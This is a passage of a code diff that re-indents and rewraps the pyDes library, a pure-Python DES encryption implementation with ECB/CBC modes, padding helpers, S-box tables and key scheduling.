self._padmode = padmode + # Set the passed in variables + self._mode = mode + self._iv = IV + self._padding = pad + self._padmode = padmode - def getKey(self): - """getKey() -> bytes""" - return self.__key + def getKey(self): + """getKey() -> bytes""" + return self.__key - def setKey(self, key): - """Will set the crypting key for this object.""" - key = self._guardAgainstUnicode(key) - self.__key = key + def setKey(self, key): + """Will set the crypting key for this object.""" + key = self._guardAgainstUnicode(key) + self.__key = key - def getMode(self): - """getMode() -> pyDes.ECB or pyDes.CBC""" - return self._mode + def getMode(self): + """getMode() -> pyDes.ECB or pyDes.CBC""" + return self._mode - def setMode(self, mode): - """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" - self._mode = mode + def setMode(self, mode): + """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" + self._mode = mode - def getPadding(self): - """getPadding() -> bytes of length 1. Padding character.""" - return self._padding + def getPadding(self): + """getPadding() -> bytes of length 1. Padding character.""" + return self._padding - def setPadding(self, pad): - """setPadding() -> bytes of length 1. Padding character.""" - if pad is not None: - pad = self._guardAgainstUnicode(pad) - self._padding = pad + def setPadding(self, pad): + """setPadding() -> bytes of length 1. Padding character.""" + if pad is not None: + pad = self._guardAgainstUnicode(pad) + self._padding = pad - def getPadMode(self): - """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" - return self._padmode + def getPadMode(self): + """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + return self._padmode - def setPadMode(self, mode): - """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" - self._padmode = mode + def setPadMode(self, mode): + """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + self._padmode = mode - def getIV(self): - """getIV() -> bytes""" - return self._iv + def getIV(self): + """getIV() -> bytes""" + return self._iv - def setIV(self, IV): - """Will set the Initial Value, used in conjunction with CBC mode""" - if not IV or len(IV) != self.block_size: - raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") - IV = self._guardAgainstUnicode(IV) - self._iv = IV + def setIV(self, IV): + """Will set the Initial Value, used in conjunction with CBC mode""" + if not IV or len(IV) != self.block_size: + raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") + IV = self._guardAgainstUnicode(IV) + self._iv = IV - def _padData(self, data, pad, padmode): - # Pad data depending on the mode - if padmode is None: - # Get the default padding mode. - padmode = self.getPadMode() - if pad and padmode == PAD_PKCS5: - raise ValueError("Cannot use a pad character with PAD_PKCS5") + def _padData(self, data, pad, padmode): + # Pad data depending on the mode + if padmode is None: + # Get the default padding mode. + padmode = self.getPadMode() + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") - if padmode == PAD_NORMAL: - if len(data) % self.block_size == 0: - # No padding required. - return data + if padmode == PAD_NORMAL: + if len(data) % self.block_size == 0: + # No padding required. + return data - if not pad: - # Get the default padding. - pad = self.getPadding() - if not pad: - raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") - data += (self.block_size - (len(data) % self.block_size)) * pad + if not pad: + # Get the default padding. + pad = self.getPadding() + if not pad: + raise ValueError("Data must be a multiple of " + str( + self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") + data += (self.block_size - (len(data) % self.block_size)) * pad - elif padmode == PAD_PKCS5: - pad_len = 8 - (len(data) % self.block_size) - if _pythonMajorVersion < 3: - data += pad_len * chr(pad_len) - else: - data += bytes([pad_len] * pad_len) + elif padmode == PAD_PKCS5: + pad_len = 8 - (len(data) % self.block_size) + if _pythonMajorVersion < 3: + data += pad_len * chr(pad_len) + else: + data += bytes([pad_len] * pad_len) - return data + return data - def _unpadData(self, data, pad, padmode): - # Unpad data depending on the mode. - if not data: - return data - if pad and padmode == PAD_PKCS5: - raise ValueError("Cannot use a pad character with PAD_PKCS5") - if padmode is None: - # Get the default padding mode. - padmode = self.getPadMode() + def _unpadData(self, data, pad, padmode): + # Unpad data depending on the mode. + if not data: + return data + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + if padmode is None: + # Get the default padding mode. + padmode = self.getPadMode() - if padmode == PAD_NORMAL: - if not pad: - # Get the default padding. - pad = self.getPadding() - if pad: - data = data[:-self.block_size] + \ - data[-self.block_size:].rstrip(pad) + if padmode == PAD_NORMAL: + if not pad: + # Get the default padding. + pad = self.getPadding() + if pad: + data = data[:-self.block_size] + \ + data[-self.block_size:].rstrip(pad) - elif padmode == PAD_PKCS5: - if _pythonMajorVersion < 3: - pad_len = ord(data[-1]) - else: - pad_len = data[-1] - data = data[:-pad_len] + elif padmode == PAD_PKCS5: + if _pythonMajorVersion < 3: + pad_len = ord(data[-1]) + else: + pad_len = data[-1] + data = data[:-pad_len] - return data + return data + + def _guardAgainstUnicode(self, data): + # Only accept byte strings or ascii unicode values, otherwise + # there is no way to correctly decode the data into bytes. + if _pythonMajorVersion < 3: + if isinstance(data, unicode): + raise ValueError("pyDes can only work with bytes, not Unicode strings.") + else: + if isinstance(data, str): + # Only accept ascii unicode values. + try: + return data.encode('ascii') + except UnicodeEncodeError: + pass + raise ValueError("pyDes can only work with encoded strings, not Unicode.") + return data - def _guardAgainstUnicode(self, data): - # Only accept byte strings or ascii unicode values, otherwise - # there is no way to correctly decode the data into bytes. - if _pythonMajorVersion < 3: - if isinstance(data, unicode): - raise ValueError("pyDes can only work with bytes, not Unicode strings.") - else: - if isinstance(data, str): - # Only accept ascii unicode values. - try: - return data.encode('ascii') - except UnicodeEncodeError: - pass - raise ValueError("pyDes can only work with encoded strings, not Unicode.") - return data ############################################################################# # DES # ############################################################################# class des(_baseDes): - """DES encryption/decrytpion class - - Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. - - pyDes.des(key,[mode], [IV]) - - key -> Bytes containing the encryption key, must be exactly 8 bytes - mode -> Optional argument for encryption type, can be either pyDes.ECB - (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) - IV -> Optional Initial Value bytes, must be supplied if using CBC mode. - Must be 8 bytes in length. - pad -> Optional argument, set the pad character (PAD_NORMAL) to use - during all encrypt/decrpt operations done with this instance. - padmode -> Optional argument, set the padding mode (PAD_NORMAL or - PAD_PKCS5) to use during all encrypt/decrpt operations done - with this instance. - """ - - - # Permutation and translation tables for DES - __pc1 = [56, 48, 40, 32, 24, 16, 8, - 0, 57, 49, 41, 33, 25, 17, - 9, 1, 58, 50, 42, 34, 26, - 18, 10, 2, 59, 51, 43, 35, - 62, 54, 46, 38, 30, 22, 14, - 6, 61, 53, 45, 37, 29, 21, - 13, 5, 60, 52, 44, 36, 28, - 20, 12, 4, 27, 19, 11, 3 - ] - - # number left rotations of pc1 - __left_rotations = [ - 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 - ] - - # permuted choice key (table 2) - __pc2 = [ - 13, 16, 10, 23, 0, 4, - 2, 27, 14, 5, 20, 9, - 22, 18, 11, 3, 25, 7, - 15, 6, 26, 19, 12, 1, - 40, 51, 30, 36, 46, 54, - 29, 39, 50, 44, 32, 47, - 43, 48, 38, 55, 33, 52, - 45, 41, 49, 35, 28, 31 - ] - - # initial permutation IP - __ip = [57, 49, 41, 33, 25, 17, 9, 1, - 59, 51, 43, 35, 27, 19, 11, 3, - 61, 53, 45, 37, 29, 21, 13, 5, - 63, 55, 47, 39, 31, 23, 15, 7, - 56, 48, 40, 32, 24, 16, 8, 0, - 58, 50, 42, 34, 26, 18, 10, 2, - 60, 52, 44, 36, 28, 20, 12, 4, - 62, 54, 46, 38, 30, 22, 14, 6 - ] - - # Expansion table for turning 32 bit blocks into 48 bits - __expansion_table = [ - 31, 0, 1, 2, 3, 4, - 3, 4, 5, 6, 7, 8, - 7, 8, 9, 10, 11, 12, - 11, 12, 13, 14, 15, 16, - 15, 16, 17, 18, 19, 20, - 19, 20, 21, 22, 23, 24, - 23, 24, 25, 26, 27, 28, - 27, 28, 29, 30, 31, 0 - ] - - # The (in)famous S-boxes - __sbox = [ - # S1 - [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, - 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, - 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, - 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], - - # S2 - [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, - 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, - 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, - 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], - - # S3 - [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, - 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, - 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, - 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], - - # S4 - [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, - 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, - 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, - 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], - - # S5 - [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, - 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, - 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, - 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], - - # S6 - [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, - 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, - 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, - 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], - - # S7 - [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, - 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, - 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, - 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], - - # S8 - [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, - 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, - 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, - 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], - ] - - - # 32-bit permutation function P used on the output of the S-boxes - __p = [ - 15, 6, 19, 20, 28, 11, - 27, 16, 0, 14, 22, 25, - 4, 17, 30, 9, 1, 7, - 23,13, 31, 26, 2, 8, - 18, 12, 29, 5, 21, 10, - 3, 24 - ] - - # final permutation IP^-1 - __fp = [ - 39, 7, 47, 15, 55, 23, 63, 31, - 38, 6, 46, 14, 54, 22, 62, 30, - 37, 5, 45, 13, 53, 21, 61, 29, - 36, 4, 44, 12, 52, 20, 60, 28, - 35, 3, 43, 11, 51, 19, 59, 27, - 34, 2, 42, 10, 50, 18, 58, 26, - 33, 1, 41, 9, 49, 17, 57, 25, - 32, 0, 40, 8, 48, 16, 56, 24 - ] - - # Type of crypting being done - ENCRYPT = 0x00 - DECRYPT = 0x01 - - # Initialisation - def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): - # Sanity checking of arguments. - if len(key) != 8: - raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") - _baseDes.__init__(self, mode, IV, pad, padmode) - self.key_size = 8 - - self.L = [] - self.R = [] - self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16) - self.final = [] - - self.setKey(key) - - def setKey(self, key): - """Will set the crypting key for this object. Must be 8 bytes.""" - _baseDes.setKey(self, key) - self.__create_sub_keys() - - def __String_to_BitList(self, data): - """Turn the string data, into a list of bits (1, 0)'s""" - if _pythonMajorVersion < 3: - # Turn the strings into integers. Python 3 uses a bytes - # class, which already has this behaviour. - data = [ord(c) for c in data] - l = len(data) * 8 - result = [0] * l - pos = 0 - for ch in data: - i = 7 - while i >= 0: - if ch & (1 << i) != 0: - result[pos] = 1 - else: - result[pos] = 0 - pos += 1 - i -= 1 - - return result - - def __BitList_to_String(self, data): - """Turn the list of bits -> data, into a string""" - result = [] - pos = 0 - c = 0 - while pos < len(data): - c += data[pos] << (7 - (pos % 8)) - if (pos % 8) == 7: - result.append(c) - c = 0 - pos += 1 - - if _pythonMajorVersion < 3: - return ''.join([ chr(c) for c in result ]) - else: - return bytes(result) - - def __permutate(self, table, block): - """Permutate this block with the specified table""" - return list(map(lambda x: block[x], table)) - - # Transform the secret key, so that it is ready for data processing - # Create the 16 subkeys, K[1] - K[16] - def __create_sub_keys(self): - """Create the 16 subkeys K[1] to K[16] from the given key""" - key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) - i = 0 - # Split into Left and Right sections - self.L = key[:28] - self.R = key[28:] - while i < 16: - j = 0 - # Perform circular left shifts - while j < des.__left_rotations[i]: - self.L.append(self.L[0]) - del self.L[0] - - self.R.append(self.R[0]) - del self.R[0] - - j += 1 - - # Create one of the 16 subkeys through pc2 permutation - self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) - - i += 1 - - # Main part of the encryption algorithm, the number cruncher :) - def __des_crypt(self, block, crypt_type): - """Crypt the block of data through DES bit-manipulation""" - block = self.__permutate(des.__ip, block) - self.L = block[:32] - self.R = block[32:] - - # Encryption starts from Kn[1] through to Kn[16] - if crypt_type == des.ENCRYPT: - iteration = 0 - iteration_adjustment = 1 - # Decryption starts from Kn[16] down to Kn[1] - else: - iteration = 15 - iteration_adjustment = -1 - - i = 0 - while i < 16: - # Make a copy of R[i-1], this will later become L[i] - tempR = self.R[:] - - # Permutate R[i - 1] to start creating R[i] - self.R = self.__permutate(des.__expansion_table, self.R) - - # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here - self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) - B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] - # Optimization: Replaced below commented code with above - #j = 0 - #B = [] - #while j < len(self.R): - # self.R[j] = self.R[j] ^ self.Kn[iteration][j] - # j += 1 - # if j % 6 == 0: - # B.append(self.R[j-6:j]) - - # Permutate B[1] to B[8] using the S-Boxes - j = 0 - Bn = [0] * 32 - pos = 0 - while j < 8: - # Work out the offsets - m = (B[j][0] << 1) + B[j][5] - n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] - - # Find the permutation value - v = des.__sbox[j][(m << 4) + n] - - # Turn value into bits, add it to result: Bn - Bn[pos] = (v & 8) >> 3 - Bn[pos + 1] = (v & 4) >> 2 - Bn[pos + 2] = (v & 2) >> 1 - Bn[pos + 3] = v & 1 - - pos += 4 - j += 1 - - # Permutate the concatination of B[1] to B[8] (Bn) - self.R = self.__permutate(des.__p, Bn) - - # Xor with L[i - 1] - self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) - # Optimization: This now replaces the below commented code - #j = 0 - #while j < len(self.R): - # self.R[j] = self.R[j] ^ self.L[j] - # j += 1 - - # L[i] becomes R[i - 1] - self.L = tempR - - i += 1 - iteration += iteration_adjustment - - # Final permutation of R[16]L[16] - self.final = self.__permutate(des.__fp, self.R + self.L) - return self.final - - - # Data to be encrypted/decrypted - def crypt(self, data, crypt_type): - """Crypt the data in blocks, running it through des_crypt()""" - - # Error check the data - if not data: - return '' - if len(data) % self.block_size != 0: - if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks - raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") - if not self.getPadding(): - raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character") - else: - data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() - # print "Len of data: %f" % (len(data) / self.block_size) - - if self.getMode() == CBC: - if self.getIV(): - iv = self.__String_to_BitList(self.getIV()) - else: - raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") - - # Split the data into blocks, crypting each one seperately - i = 0 - dict = {} - result = [] - #cached = 0 - #lines = 0 - while i < len(data): - # Test code for caching encryption results - #lines += 1 - #if dict.has_key(data[i:i+8]): - #print "Cached result for: %s" % data[i:i+8] - # cached += 1 - # result.append(dict[data[i:i+8]]) - # i += 8 - # continue - - block = self.__String_to_BitList(data[i:i+8]) - - # Xor with IV if using CBC mode - if self.getMode() == CBC: - if crypt_type == des.ENCRYPT: - block = list(map(lambda x, y: x ^ y, block, iv)) - #j = 0 - #while j < len(block): - # block[j] = block[j] ^ iv[j] - # j += 1 - - processed_block = self.__des_crypt(block, crypt_type) - - if crypt_type == des.DECRYPT: - processed_block = list(map(lambda x, y: x ^ y, processed_block, iv)) - #j = 0 - #while j < len(processed_block): - # processed_block[j] = processed_block[j] ^ iv[j] - # j += 1 - iv = block - else: - iv = processed_block - else: - processed_block = self.__des_crypt(block, crypt_type) - - - # Add the resulting crypted block to our list - #d = self.__BitList_to_String(processed_block) - #result.append(d) - result.append(self.__BitList_to_String(processed_block)) - #dict[data[i:i+8]] = d - i += 8 - - # print "Lines: %d, cached: %d" % (lines, cached) - - # Return the full crypted string - if _pythonMajorVersion < 3: - return ''.join(result) - else: - return bytes.fromhex('').join(result) - - def encrypt(self, data, pad=None, padmode=None): - """encrypt(data, [pad], [padmode]) -> bytes - - data : Bytes to be encrypted - pad : Optional argument for encryption padding. Must only be one byte - padmode : Optional argument for overriding the padding mode. - - The data must be a multiple of 8 bytes and will be encrypted - with the already specified key. Data does not have to be a - multiple of 8 bytes if the padding character is supplied, or - the padmode is set to PAD_PKCS5, as bytes will then added to - ensure the be padded data is a multiple of 8 bytes. - """ - data = self._guardAgainstUnicode(data) - if pad is not None: - pad = self._guardAgainstUnicode(pad) - data = self._padData(data, pad, padmode) - return self.crypt(data, des.ENCRYPT) - - def decrypt(self, data, pad=None, padmode=None): - """decrypt(data, [pad], [padmode]) -> bytes - - data : Bytes to be encrypted - pad : Optional argument for decryption padding. Must only be one byte - padmode : Optional argument for overriding the padding mode. - - The data must be a multiple of 8 bytes and will be decrypted - with the already specified key. In PAD_NORMAL mode, if the - optional padding character is supplied, then the un-encrypted - data will have the padding characters removed from the end of - the bytes. This pad removal only occurs on the last 8 bytes of - the data (last data block). In PAD_PKCS5 mode, the special - padding end markers will be removed from the data after decrypting. - """ - data = self._guardAgainstUnicode(data) - if pad is not None: - pad = self._guardAgainstUnicode(pad) - data = self.crypt(data, des.DECRYPT) - return self._unpadData(data, pad, padmode) - + """DES encryption/decrytpion class + + Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. + + pyDes.des(key,[mode], [IV]) + + key -> Bytes containing the encryption key, must be exactly 8 bytes + mode -> Optional argument for encryption type, can be either pyDes.ECB + (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) + IV -> Optional Initial Value bytes, must be supplied if using CBC mode. + Must be 8 bytes in length. + pad -> Optional argument, set the pad character (PAD_NORMAL) to use + during all encrypt/decrpt operations done with this instance. + padmode -> Optional argument, set the padding mode (PAD_NORMAL or + PAD_PKCS5) to use during all encrypt/decrpt operations done + with this instance. + """ + + # Permutation and translation tables for DES + __pc1 = [56, 48, 40, 32, 24, 16, 8, + 0, 57, 49, 41, 33, 25, 17, + 9, 1, 58, 50, 42, 34, 26, + 18, 10, 2, 59, 51, 43, 35, + 62, 54, 46, 38, 30, 22, 14, + 6, 61, 53, 45, 37, 29, 21, + 13, 5, 60, 52, 44, 36, 28, + 20, 12, 4, 27, 19, 11, 3 + ] + + # number left rotations of pc1 + __left_rotations = [ + 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 + ] + + # permuted choice key (table 2) + __pc2 = [ + 13, 16, 10, 23, 0, 4, + 2, 27, 14, 5, 20, 9, + 22, 18, 11, 3, 25, 7, + 15, 6, 26, 19, 12, 1, + 40, 51, 30, 36, 46, 54, + 29, 39, 50, 44, 32, 47, + 43, 48, 38, 55, 33, 52, + 45, 41, 49, 35, 28, 31 + ] + + # initial permutation IP + __ip = [57, 49, 41, 33, 25, 17, 9, 1, + 59, 51, 43, 35, 27, 19, 11, 3, + 61, 53, 45, 37, 29, 21, 13, 5, + 63, 55, 47, 39, 31, 23, 15, 7, + 56, 48, 40, 32, 24, 16, 8, 0, + 58, 50, 42, 34, 26, 18, 10, 2, + 60, 52, 44, 36, 28, 20, 12, 4, + 62, 54, 46, 38, 30, 22, 14, 6 + ] + + # Expansion table for turning 32 bit blocks into 48 bits + __expansion_table = [ + 31, 0, 1, 2, 3, 4, + 3, 4, 5, 6, 7, 8, + 7, 8, 9, 10, 11, 12, + 11, 12, 13, 14, 15, 16, + 15, 16, 17, 18, 19, 20, + 19, 20, 21, 22, 23, 24, + 23, 24, 25, 26, 27, 28, + 27, 28, 29, 30, 31, 0 + ] + + # The (in)famous S-boxes + __sbox = [ + # S1 + [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, + 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, + 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, + 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], + + # S2 + [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, + 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, + 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, + 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], + + # S3 + [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, + 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, + 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, + 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], + + # S4 + [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, + 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, + 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, + 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], + + # S5 + [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, + 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, + 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, + 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], + + # S6 + [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, + 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, + 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, + 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], + + # S7 + [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, + 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, + 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, + 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], + + # S8 + [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, + 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, + 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, + 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], + ] + + # 32-bit permutation function P used on the output of the S-boxes + __p = [ + 15, 6, 19, 20, 28, 11, + 27, 16, 0, 14, 22, 25, + 4, 17, 30, 9, 1, 7, + 23, 13, 31, 26, 2, 8, + 18, 12, 29, 5, 21, 10, + 3, 24 + ] + + # final permutation IP^-1 + __fp = [ + 39, 7, 47, 15, 55, 23, 63, 31, + 38, 6, 46, 14, 54, 22, 62, 30, + 37, 5, 45, 13, 53, 21, 61, 29, + 36, 4, 44, 12, 52, 20, 60, 28, + 35, 3, 43, 11, 51, 19, 59, 27, + 34, 2, 42, 10, 50, 18, 58, 26, + 33, 1, 41, 9, 49, 17, 57, 25, + 32, 0, 40, 8, 48, 16, 56, 24 + ] + + # Type of crypting being done + ENCRYPT = 0x00 + DECRYPT = 0x01 + + # Initialisation + def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + # Sanity checking of arguments. + if len(key) != 8: + raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") + _baseDes.__init__(self, mode, IV, pad, padmode) + self.key_size = 8 + + self.L = [] + self.R = [] + self.Kn = [[0] * 48] * 16 # 16 48-bit keys (K1 - K16) + self.final = [] + + self.setKey(key) + + def setKey(self, key): + """Will set the crypting key for this object. Must be 8 bytes.""" + _baseDes.setKey(self, key) + self.__create_sub_keys() + + def __String_to_BitList(self, data): + """Turn the string data, into a list of bits (1, 0)'s""" + if _pythonMajorVersion < 3: + # Turn the strings into integers. Python 3 uses a bytes + # class, which already has this behaviour. + data = [ord(c) for c in data] + l = len(data) * 8 + result = [0] * l + pos = 0 + for ch in data: + i = 7 + while i >= 0: + if ch & (1 << i) != 0: + result[pos] = 1 + else: + result[pos] = 0 + pos += 1 + i -= 1 + + return result + + def __BitList_to_String(self, data): + """Turn the list of bits -> data, into a string""" + result = [] + pos = 0 + c = 0 + while pos < len(data): + c += data[pos] << (7 - (pos % 8)) + if (pos % 8) == 7: + result.append(c) + c = 0 + pos += 1 + + if _pythonMajorVersion < 3: + return ''.join([chr(c) for c in result]) + else: + return bytes(result) + + def __permutate(self, table, block): + """Permutate this block with the specified table""" + return list(map(lambda x: block[x], table)) + + # Transform the secret key, so that it is ready for data processing + # Create the 16 subkeys, K[1] - K[16] + def __create_sub_keys(self): + """Create the 16 subkeys K[1] to K[16] from the given key""" + key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) + i = 0 + # Split into Left and Right sections + self.L = key[:28] + self.R = key[28:] + while i < 16: + j = 0 + # Perform circular left shifts + while j < des.__left_rotations[i]: + self.L.append(self.L[0]) + del self.L[0] + + self.R.append(self.R[0]) + del self.R[0] + + j += 1 + + # Create one of the 16 subkeys through pc2 permutation + self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) + + i += 1 + + # Main part of the encryption algorithm, the number cruncher :) + def __des_crypt(self, block, crypt_type): + """Crypt the block of data through DES bit-manipulation""" + block = self.__permutate(des.__ip, block) + self.L = block[:32] + self.R = block[32:] + + # Encryption starts from Kn[1] through to Kn[16] + if crypt_type == des.ENCRYPT: + iteration = 0 + iteration_adjustment = 1 + # Decryption starts from Kn[16] down to Kn[1] + else: + iteration = 15 + iteration_adjustment = -1 + + i = 0 + while i < 16: + # Make a copy of R[i-1], this will later become L[i] + tempR = self.R[:] + + # Permutate R[i - 1] to start creating R[i] + self.R = self.__permutate(des.__expansion_table, self.R) + + # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here + self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) + B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], + self.R[42:]] + # Optimization: Replaced below commented code with above + # j = 0 + # B = [] + # while j < len(self.R): + # self.R[j] = self.R[j] ^ self.Kn[iteration][j] + # j += 1 + # if j % 6 == 0: + # B.append(self.R[j-6:j]) + + # Permutate B[1] to B[8] using the S-Boxes + j = 0 + Bn = [0] * 32 + pos = 0 + while j < 8: + # Work out the offsets + m = (B[j][0] << 1) + B[j][5] + n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] + + # Find the permutation value + v = des.__sbox[j][(m << 4) + n] + + # Turn value into bits, add it to result: Bn + Bn[pos] = (v & 8) >> 3 + Bn[pos + 1] = (v & 4) >> 2 + Bn[pos + 2] = (v & 2) >> 1 + Bn[pos + 3] = v & 1 + + pos += 4 + j += 1 + + # Permutate the concatination of B[1] to B[8] (Bn) + self.R = self.__permutate(des.__p, Bn) + + # Xor with L[i - 1] + self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) + # Optimization: This now replaces the 